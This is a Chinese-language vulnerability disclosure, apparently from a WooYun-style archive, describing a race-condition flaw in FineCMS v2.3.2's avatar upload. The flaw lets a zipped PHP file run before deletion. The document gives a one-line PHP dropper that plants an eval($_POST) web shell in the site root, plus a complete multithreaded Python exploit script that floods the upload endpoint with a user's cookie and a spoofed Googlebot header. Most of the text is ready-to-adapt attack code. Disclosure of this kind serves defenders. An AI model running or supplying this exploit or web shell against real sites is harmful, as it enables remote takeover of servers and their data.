### 简要描述:
权限竞争性上传缺陷。
版本:FineCMS for 海豚大众版 v2.3.2
### 详细说明:
首先,在phpcms之前的那个上传洞出来的时候,我就注意到finecms升级了一个补丁包。打开一看就是补的类似phpcms的洞,于是我知道finecms在上传头像处用的与phpcms是类似的代码。
然后phpcms后来又出了一个暴力上传的缺陷( [WooYun: PHPCMS前台设计缺陷导致任意代码执行](http://www.wooyun.org/bugs/wooyun-2014-049794) ),我猜finecms没有补,一来看果然是这样。
先来介绍一下吧,与phpcms类似,finecms对上传头像是这样处理的:
用户上传压缩包 => php解压 => 递归删除非.jpg的文件
具体代码如下(/member/controllers/Account.php 第416行):
```
public function upload() {
if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
exit('环境不支持');
}
$dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; // 创建图片存储文件夹
if (!file_exists($dir)) {
mkdir($dir, 0777, true);
}
$filename = $dir.'avatar.zip'; // 存储flashpost图片
file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);
// 解压缩文件
$this->load->library('Pclzip');
$this->pclzip->PclFile($filename);
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit($this->pclzip->zip(true));
}
// 限制文件名称
$avatararr = array('45x45.jpg', '90x90.jpg');
// 删除多余目录
$files = glob($dir."*");
foreach($files as $_files) {
if (is_dir($_files)) {
dr_dir_delete($_files);
}
if (!in_array(basename($_files), $avatararr)) {
@unlink($_files);
}
}
// 判断文件安全,删除压缩包和非jpg图片
if($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file !== '.' && $file !== '..') {
if (!in_array($file, $avatararr)) {
@unlink($dir . $file);
} else {
$info = @getimagesize($dir . $file);
if (!$info || $info[2] !=2) {
@unlink($dir . $file);
}
}
}
}
closedir($handle);
}
@unlink($filename);
```
那么如果我上传包含这样代码的压缩包:
```
<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>
```
在上传与被删除这个时间差里访问,就能在网站根目录下生成新的php文件,那么新生成的php文件是不会被删除的。
这就是一个竞争性上传漏洞,需要我们抓住这个时间差,在上传的php文件还没被删除前访问到它,就能够暴力getshell了。
利用方法与代码详见漏洞证明。
### 漏洞证明:
准备一个如下php文件:
```
<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>
```
保存为1.php,放在目录1下,将目录1打包为1.zip:
[<img src="https://images.seebug.org/upload/201406/0315503386caaf9c0093ade78387efca7af98f24.jpg" alt="001.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0315503386caaf9c0093ade78387efca7af98f24.jpg)
然后登陆finecms,记下cookie。
如下代码,你测试的时候根据自己的情况做些修改,我就不多说了,我也是直接拿felixk3y的代码修改得到的:
```
#coding=utf-8
import os
import sys
import socket
import urllib
import urllib2
import threading
import msvcrt
# shell: 最终生成shell的URL
# tmpfile: 文件上传生成的临时文件URL
# postu & shell & tmpfile 这三个参数根据具体情况更改
shell = '/shell.php'
tmpfile = '/member/uploadfile/member/2/1/1.php' # 2是我的uid,你测试的时候填自己的uid
class upload(threading.Thread):
def __init__(self,num,loop,host,header,tmpfile,shell):
threading.Thread.__init__(self)
self.num = num
self.loop = loop
self.host = host
self.header = header
self.shell = '%s%s' % (host,shell)
self.tmpfile = '%s%s' % (host,tmpfile)
def run(self):
while True:
print u'正在进行第%d轮尝试...\n' % self.loop
while(self.num<3):
print u'正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print u'正在进行第%d次提交ZIP数据包同时试访问临时文件...' % self.num
self.send_socket(self.host,self.header)
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print u'正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.loop += 1
self.num = 1
def _get(self,tmpfile):
try:
response = urllib2.urlopen(tmpfile)
if response.getcode() == 200:
print '\nSuccess!\nShell: %s\nPass is [1@3].' % self.shell
os._exit(1)
except urllib2.HTTPError,e:
pass
def send_socket(self,host,headers):
if 'http://' in host:
host = host.split('/')[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 80))
sock.send(headers)
sock.close()
class ThreadStop(threading.Thread):
def run(self):
try:
chr = msvcrt.getch()
if chr == 'q':
print "stopped by your action( q )."
os._exit(1)
except:
os._exit(1)
def usage():
print '\n\tUsage: upload.py <url> '
print '\n\tExp: upload.py www.vulns.org'
os._exit(0)
def hex_to_asc(ch):
ch = int(float.fromhex(ch))
return '{:c}'.format(ch)
def post_data():
postdata = ''
with open('1.zip', 'rb') as fin: # 1.zip是你的压缩包名
postdata = fin.read()
return postdata
def exploit():
num = 1
loop = 1
threads = []
host = sys.argv[1]
cookie = sys.argv[2]
if 'http://' not in host:
host = 'http://%s' % host
postdata = post_data()
mhost = host.split('/')[2]
posturl = '/member/index.php?c=account&m=upload'
header = 'POST %s HTTP/1.1\r\n' % posturl
header += 'Host: %s\r\n' % mhost
header += 'User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n'
header += 'Content-Type: application/octet-stream\r\n'
header += 'Accept-Encoding: gzip,deflate,sdch\r\n'
header += 'Content-Length: %d\r\n' % len(postdata)
header += 'Cookie: %s\r\n\r\n%s\r\n' % (cookie,postdata)
shouhu = ThreadStop()
shouhu.setDaemon(True)
shouhu.start()
for i in range(10):#线程数不能小了
t = upload(num,loop,host,header,tmpfile,shell)
t.start()
threads.append(t)
for th in threads:
t.join()
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
exploit()
```
运行时第一个参数是目标url,第二个参数是你的cookie:
[<img src="https://images.seebug.org/upload/201406/03155844abfac93e670f3ce077ffcbc910003963.jpg" alt="002.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/03155844abfac93e670f3ce077ffcbc910003963.jpg)
因为我是在本地测试的,所以很快就拿下shell了(我把生成的文件放在网站根目录下,这个可以根据自己情况修改py脚本):
[<img src="https://images.seebug.org/upload/201406/031559554f05aeaa82bdc5d57d56d2ada2b94101.jpg" alt="003.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/031559554f05aeaa82bdc5d57d56d2ada2b94101.jpg)
访问可见phpinfo:
[<img src="https://images.seebug.org/upload/201406/03160138570260c7013e6994825697f3f8017455.jpg" alt="004.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/03160138570260c7013e6994825697f3f8017455.jpg)
这个跟网速也有很大关系,如果你没能及时在你上传的文件被删除前访问之,就没法生成shell了。所以有可能要测试很多次都不成功,称之为暴力getshell也不为过,拼人品了~
暂无评论